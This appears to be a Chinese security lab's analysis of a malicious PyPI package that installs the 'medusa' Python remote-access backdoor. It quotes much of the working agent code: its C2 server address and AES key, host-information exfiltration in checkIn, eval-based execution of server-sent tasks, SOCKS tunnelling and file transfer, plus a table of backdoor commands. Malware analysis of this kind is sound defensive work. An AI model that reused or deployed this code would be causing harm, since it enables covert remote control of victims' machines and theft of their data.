            if not dst or socket_dst == 0: rep = b'\x01'
            else:
                rep = b'\x00'
                bnd = socket.inet_aton(socket_dst.getsockname()[0])
                bnd += pack(">H", socket_dst.getsockname()[1])
            reply = VER + rep + b'\x00' + ATYP_IPV4 + bnd
            try: sendSocksPacket(msg["server_id"], reply, msg["exit"])                
            except: return
            if rep == b'\x00': return socket_dst

        def get_running_socks_thread():
            return [ t for t in threading.enumerate() if "socks:" in t.name and not task_id in t.name ]

        def a2m(server_id, socket_dst):
            while True:
                if task_id not in [task["task_id"] for task in self.taskings]: return
                elif [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return
                if server_id not in self.socks_open.keys(): return
                try: reader, _, _ = select.select([socket_dst], [], [], 1)
                except select.error as err: return

                if not reader: continue
                try:
                    for sock in reader:
                        data = sock.recv(BUFSIZE)
                        if not data:
                            sendSocksPacket(server_id, b"", True)
                            socket_dst.close()
                            return
                        sendSocksPacket(server_id, data, False)
                except Exception as e: pass
                time.sleep(SOCKS_SLEEP_INTERVAL)

        def m2a(server_id, socket_dst):
            while True:
                if task_id not in [task["task_id"] for task in self.taskings]: return
                elif [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return                
                if server_id not in self.socks_open.keys():
                    socket_dst.close()
                    return
                try:
                    if not self.socks_open[server_id].empty():
                        socket_dst.send(base64.b64decode(self.socks_open[server_id].get(timeout=QUEUE_TIMOUT)))
                except: pass
                time.sleep(SOCKS_SLEEP_INTERVAL)

        t_socks = get_running_socks_thread()

        if action == "start":
            if len(t_socks) > 0: return "[!] SOCKS Proxy already running."
            self.sendTaskOutputUpdate(task_id, "[*] SOCKS Proxy started.")
            while True:
                if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
                    return "[*] SOCKS Proxy stopped."
                if not self.socks_in.empty():
                    packet_json = self.socks_in.get(timeout=QUEUE_TIMOUT)
                    if packet_json:
                        server_id = packet_json["server_id"]
                        if server_id in self.socks_open.keys():
                            if packet_json["data"]: 
                                self.socks_open[server_id].put(packet_json["data"])
                            elif packet_json["exit"]:
                                self.socks_open.pop(server_id)
                        else:
                            if not packet_json["exit"]:    
                                if activeCount() > MAX_THREADS:
                                    sleep(3)
                                    continue
                                self.socks_open[server_id] = queue.Queue()
                                sock = create_connection(packet_json)
                                if sock:
                                    send_thread = Thread(target=a2m, args=(server_id, sock, ), name="a2m:{}".format(server_id))
                                    recv_thread = Thread(target=m2a, args=(server_id, sock, ), name="m2a:{}".format(server_id))
                                    send_thread.start()
                                    recv_thread.start()
                time.sleep(SOCKS_SLEEP_INTERVAL)
        else:
            if len(t_socks) > 0:
                for t_sock in t_socks:
                    task = [task for task in self.taskings if task["task_id"] == t_sock.name.split(":")[1]][0]
                    task["stopped"] = task["completed"] = True
                self.socks_open = {}

    def unload(self, task_id, command):
        delattr(medusa, command)
        cmd_list = [{"action": "remove", "cmd": command}]
        responses = [{ "task_id": task_id, "user_output": "Unloaded command: {}".format(command), "commands": cmd_list, "completed": True }]
        message = { "action": "post_response", "responses": responses }
        response_data = self.postMessageAndRetrieveResponse(message)

    def unload_module(self, task_id, module_name):
        if module_name in self._meta_cache:
            finder = self._meta_cache.pop(module_name)
            sys.meta_path.remove(finder)
            self.moduleRepo.pop(module_name)
            return "{} module unloaded".format(module_name)
        else: return "{} not found in loaded modules".format(module_name)

    def upload(self, task_id, file, remote_path):
        total_chunks = 1
        chunk_num = 0
        with open(remote_path, "wb") as f:
            while (chunk_num < total_chunks):
                if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
                    return "Job stopped."

                data = { 
                    "action": "post_response",
                    "responses": [
                        {
                            "upload": {
                                "chunk_size": CHUNK_SIZE,
                                "file_id": file, 
                                "chunk_num": chunk_num,
                                "full_path": remote_path
                            },
                            "task_id": task_id
                        }
                    ] 
                }
                response = self.postMessageAndRetrieveResponse(data)
                chunk = response["responses"][0]
                chunk_num+=1
                total_chunks = chunk["total_chunks"]
                f.write(base64.b64decode(chunk["chunk_data"]))

    def watch_dir(self, task_id, path, seconds):
        import hashlib
        known_files = {}
        def diffFolder(file_path, print_out=True):
            for root, dirs, files in os.walk(file_path):
                for dir in dirs:
                    full_dir_path = os.path.join(root, dir)
                    if full_dir_path not in known_files.keys():
                        if print_out: self.sendTaskOutputUpdate(task_id, "[*] New Directory: {}".format(full_dir_path)	)
                        known_files[full_dir_path] = ""

                for file in files:
                    full_file_path = os.path.join(root, file)
                    file_size = 0  
                    try: 
                        with open(full_file_path, "rb") as in_f:
                            file_data = in_f.read()
                            file_size = len(file_data)
                    except: continue

                    hash = hashlib.md5(file_data).hexdigest()

                    if full_file_path not in known_files.keys() and hash not in known_files.values():
                        if print_out: self.sendTaskOutputUpdate(task_id, "[*] New File: {} - {} bytes ({})".format(full_file_path, file_size, hash))
                        known_files[full_file_path] = hash
                    elif full_file_path in known_files.keys() and hash not in known_files.values():
                        if print_out: self.sendTaskOutputUpdate(task_id, "[*] File Updated: {} - {} bytes ({})".format(full_file_path, file_size, hash))
                        known_files[full_file_path] = hash
                    elif full_file_path not in known_files.keys() and hash in known_files.values():
                        orig_file = [f for f,h in known_files.items() if h == hash][0]
                        if os.path.exists(os.path.join(file_path, orig_file)):
                            if print_out: self.sendTaskOutputUpdate(task_id, "[*] Copied File: {}->{} - {} bytes ({})".format(orig_file, full_file_path, file_size, hash))
                        else:
                            if print_out: self.sendTaskOutputUpdate(task_id, "[*] Moved File: {}->{} - {} bytes ({})".format(orig_file, full_file_path, file_size, hash))
                            known_files.pop(orig_file)
                    known_files[full_file_path] = hash
            for file in list(known_files):
                if not os.path.isdir(os.path.dirname(file)):
                    for del_file in [f for f in list(known_files) if f.startswith(os.path.dirname(file))]:
                        obj_type = "Directory" if not known_files[del_file] else "File"
                        if file in list(known_files):
                            if print_out: self.sendTaskOutputUpdate(task_id, "[*] {} deleted: {} {}".format(obj_type, \
                                del_file, "({})".format(known_files[del_file]) if known_files[del_file] else ""))
                            known_files.pop(file)
                else:
                    if os.path.basename(file) not in os.listdir(os.path.dirname(file)):
                        obj_type = "Directory" if not known_files[file] else "File"
                        if print_out: self.sendTaskOutputUpdate(task_id, "[*] {} deleted: {} {}".format(obj_type, file, \
                            "({})".format(known_files[file]) if known_files[file] else ""))
                        known_files.pop(file)
    
        if path == ".": file_path = self.current_directory
        else: file_path = path if path[0] == os.sep \
                else os.path.join(self.current_directory,path)

        if not os.path.isdir(file_path):
            return "[!] Path must be a valid directory"
        elif not os.access(file_path, os.R_OK):
            return "[!] Path not accessible"
        else:
            self.sendTaskOutputUpdate(task_id, "[*] Starting directory watch for {}".format(path))
            diffFolder(file_path, False) 
            while(True):
                if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return "Job stopped."
                if not os.path.exists(file_path):
                    return "[!] Root directory has been deleted."
                diffFolder(file_path)
                time.sleep(seconds)



    def __init__(self):
        self.socks_open = {}
        self.socks_in = queue.Queue()
        self.socks_out = queue.Queue()
        self.taskings = []
        self._meta_cache = {}
        self.moduleRepo = {}
        self.current_directory = os.getcwd()
        self.agent_config = {
            "Server": "https://install.pypi-installer.com",
            "Port": "443",
            "PostURI": "/data",
            "PayloadUUID": "cdc0f5ef-3174-4a48-a9c1-dbf59f1d06e5",
            "UUID": "",
            "Headers": [{"name": "User-Agent", "key": "User-Agent", "value": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", "custom": False}],
            "Sleep": 10,
            "Jitter": 23,
            "KillDate": "2022-11-17",
            "enc_key": {"value": "aes256_hmac", "enc_key": "TLQ1JPckkSZcHSOLFv4t/mGqptHko/jCz8VyhNxxH1s=", "dec_key": "TLQ1JPckkSZcHSOLFv4t/mGqptHko/jCz8VyhNxxH1s="},
            "ExchChk": "T",
            "GetURI": "/index",
            "GetParam": "q",
            "ProxyHost": "",
            "ProxyUser": "",
            "ProxyPass": "",
            "ProxyPort": "",
        }

        while(True):
            if(self.agent_config["UUID"] == ""):
                self.checkIn()
                self.agentSleep()
            else:
                while(True):
                    if self.passedKilldate():
                        self.exit()
                    try:
                        self.getTaskings()
                        self.processTaskings()
                        self.postResponses()
                    except: pass
                    self.agentSleep()                   

if __name__ == "__main__":
    medusa = medusa()

以上代码可以判定该包为用于软件供应链攻击的恶意python包。

行为分析

样本封装了一个medusa类，并在恶意包安装落地后初始化一个medusa对象实例，其__init__方法如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def __init__(self):
        self.socks_open = {}
        self.socks_in = queue.Queue()
        self.socks_out = queue.Queue()
        self.taskings = []
        self._meta_cache = {}
        self.moduleRepo = {}
        self.current_directory = os.getcwd()
        self.agent_config = {
            "Server": "https://install.pypi-installer.com",
            "Port": "443",
            "PostURI": "/data",
            "PayloadUUID": "cdc0f5ef-3174-4a48-a9c1-dbf59f1d06e5",
            "UUID": "",
            "Headers": [{"name": "User-Agent", "key": "User-Agent", "value": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", "custom": False}],
            "Sleep": 10,
            "Jitter": 23,
            "KillDate": "2022-11-17",
            "enc_key": {"value": "aes256_hmac", "enc_key": "TLQ1JPckkSZcHSOLFv4t/mGqptHko/jCz8VyhNxxH1s=", "dec_key": "TLQ1JPckkSZcHSOLFv4t/mGqptHko/jCz8VyhNxxH1s="},
            "ExchChk": "T",
            "GetURI": "/index",
            "GetParam": "q",
            "ProxyHost": "",
            "ProxyUser": "",
            "ProxyPass": "",
            "ProxyPort": "",
        }

        while(True):
            if(self.agent_config["UUID"] == ""):
                self.checkIn()
                self.agentSleep()
            else:
                while(True):
                    if self.passedKilldate():
                        self.exit()
                    try:
                        self.getTaskings()
                        self.processTaskings()
                        self.postResponses()
                    except: pass
                    self.agentSleep()

初始化得到了一些必要信息，相关字段用途说明如下表：

字段 作用
socks_open 用于保存与c2服务器通信的socket套接字
socks_in 保存接收数据包队列
socks_out 保存发送数据包队列
taskings 执行远控功能的队列
_meta_cache 用于保存加载的其他模块
moduleRepo 用于指定模块仓库地址
current_directory 保存当前执行路径
agent_config 记录诸如服务器域名，端口，请求头，密钥等关键预置信息

并通过while(True)长期驻留，实现持久化；

在while循环中，首次执行时会通过medusa.checkIn()方法收集受害机器信息，包括IP地址，操作系统及版本号，用户名，主机名，当前进程ID，处理器架构，通信加密密钥和解密密钥：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def checkIn(self):
        data = {
            "action": "checkin",
            "ip": socket.gethostbyname(socket.gethostname()),
            "os": self.getOSVersion(),
            "user": self.getUsername(),
            "host": socket.gethostname(),
            "domain:": socket.getfqdn(),
            "pid": os.getpid(),
            "uuid": self.agent_config["PayloadUUID"],
            "architecture": "x64" if sys.maxsize > 2**32 else "x86",
            "encryption_key": self.agent_config["enc_key"]["enc_key"],
            "decryption_key": self.agent_config["enc_key"]["dec_key"]
        }
        encoded_data = base64.b64encode(self.agent_config["PayloadUUID"].encode() + self.encrypt(json.dumps(data).encode()))
        decoded_data = self.decrypt(self.makeRequest(encoded_data, 'POST'))
        if("status" in decoded_data):
            UUID = json.loads(decoded_data.replace(self.agent_config["PayloadUUID"],""))["id"]
            self.agent_config["UUID"] = UUID
            return True
        else: return False

并经上述信息回传服务器，得到服务器下发的PayloadUUID

之后就长期驻留目标机器，通过medusa.getTaskings()方法获取服务器端下发的命令任务，medusa.processTaskings()方法开启多线程执行任务，medusa.postResponses()方法回传任务结果。若没有任务下发会进入休眠等待。

功能分析

经人工分析后总结，该包是一个远控后门，具有以下功能：

  1. 获取远端任务：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def getTaskings(self):
        data = { "action": "get_tasking", "tasking_size": -1 }
        tasking_data = self.postMessageAndRetrieveResponse(data)
        for task in tasking_data["tasks"]:
            t = {
                "task_id":task["id"],
                "command":task["command"],
                "parameters":task["parameters"],
                "result":"",
                "completed": False,
                "started":False,
                "error":False,
                "stopped":False
            }
            self.taskings.append(t)
        if "socks" in tasking_data:
            for packet in tasking_data["socks"]: self.socks_in.put(packet)

相关数据结构说明：

字段 说明
task_id 任务ID
command 任务命令行
parameters 执行任务的所需参数
result 执行结果
completed 标识完成状态
started 标识开始状态
error 任务错误原因
stopped 标识中止状态
  1. 执行任务功能：

通过多线程执行任务队列状态为未开始的任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def processTask(self, task):
        try:
            task["started"] = True
            function = getattr(self, task["command"], None)
            if(callable(function)):
                try:
                    params = json.loads(task["parameters"]) if task["parameters"] else {}
                    params['task_id'] = task["task_id"] 
                    command =  "self." + task["command"] + "(**params)"
                    output = eval(command)
                except Exception as error:
                    output = str(error)
                    task["error"] = True                        
                task["result"] = output
                task["completed"] = True
            else:
                task["error"] = task["completed"] = True
                task["result"] = "Function unavailable."
        except Exception as error:
            task["error"] = task["completed"] = True
            task["result"] = error

def processTaskings(self):
        threads = list()       
        taskings = self.taskings     
        for task in taskings:
            if task["started"] == False:
                x = threading.Thread(target=self.processTask, name="{}:{}".format(task["command"], task["task_id"]), args=(task,))
                threads.append(x)
                x.start()

任务内容通过getattr()方法配合command字段获得并使用eval()方法执行，该样本中已经实现的任务功能如下：

任务名 功能说明
cat 获取指定文件内容
cd 转移工作目录到指定目录
cp 拷贝文件到指定路径
cwd 获取当前工作路径
download 从受控机器下载文件
env 获取环境变量
eval_code 执行python 代码片段
exit 退出
jobkill 中止某个任务
jobs 列出当前所有任务
list_modules 列出当前加载的模块
list_tcc 查看macos 系统TCC 数据
load 加载添加并执行新后门任务方法
load_module 加载模块
mv 移动指定文件
rm 删除指定文件
shell 执行shell 命令
sleep 设置休眠时间
socks 建立通信通道
unload 移除后门任务方法
unload_module 卸载模块
upload 上传文件到受控机器
watch_dir 监控文件夹变化

除以上主要功能外，改样本还自实现AES 密码模块用于加密通信，其通信密钥被预置于medusa类中的agent_config.enc_key字段中

​

​ ——Powered by奇安信技术研究院星图实验室